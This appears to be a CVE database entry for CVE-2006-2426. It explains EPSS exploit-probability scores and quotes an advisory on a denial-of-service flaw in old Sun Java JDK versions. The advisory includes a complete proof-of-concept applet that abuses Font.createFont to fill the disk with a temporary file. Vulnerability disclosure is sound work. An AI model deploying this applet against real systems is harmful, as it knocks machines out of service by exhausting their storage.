CVE-2006-2426 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/17981/info Sun Java is prone to a remote denial-of-service vulnerability because the application fails to properly handle certain Java applets. Successfully exploiting this issue will cause the application to create a temporary file that will grow in an unbounded fashion, consuming all available disk space. This will likely result in a denial-of-service condition. Sun Java JDK 1.4.2_11 and 1.5.0_06 are vulnerable; other versions may also be affected. import java.applet.Applet; import java.awt.Font; import java.io.InputStream; class MIS extends InputStream { MIS() { } public int read() { return 0; } public int read(byte abyte0[], int i, int j) { return j - i; } } public class FontCreatorFullDiskApplet extends Applet { public FontCreatorFullDiskApplet() { } static { try { byte abyte0[] = new byte[0]; Font font = Font.createFont(0, new MIS()); } catch(Exception exception) { } } }